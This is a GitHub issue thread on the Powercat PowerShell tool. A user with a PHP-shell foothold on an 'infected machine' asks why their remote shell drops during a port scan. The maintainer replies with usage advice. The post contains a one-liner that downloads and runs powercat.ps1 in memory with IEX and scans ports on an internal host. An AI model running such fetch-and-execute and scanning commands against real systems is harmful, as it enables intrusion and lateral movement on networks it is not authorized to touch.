Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The remote shell is disconected after execute port scanning #16

Open
hackituria opened this issue May 22, 2018 · 1 comment
Open

The remote shell is disconected after execute port scanning #16

hackituria opened this issue May 22, 2018 · 1 comment
Labels

Comments

@hackituria
Copy link

Hi,

I'm using Powercat to achieve a remote shell and after this, execute a port scan over other machines that the infected machine have visibilization.

I'm executing the port scaning of Powercat from memory using the folowing command:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); (21,22,80,443) | % {powercat -c 172.16.11.33 -p $_ -t 1 -Verbose}

When I execute it, the remote shell disconnected and the result appear on the navigator which is used to infect the machine via PHP shell.

Why does it happen? How can I fix it?

Thanks!

@besimorhino
Copy link
Owner

Can you help us understand what/why you're trying to do this? Specifically, why are you trying to do this in a single step? It'd be easier to get a remote shell, and then conduct the port scan as two commands.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants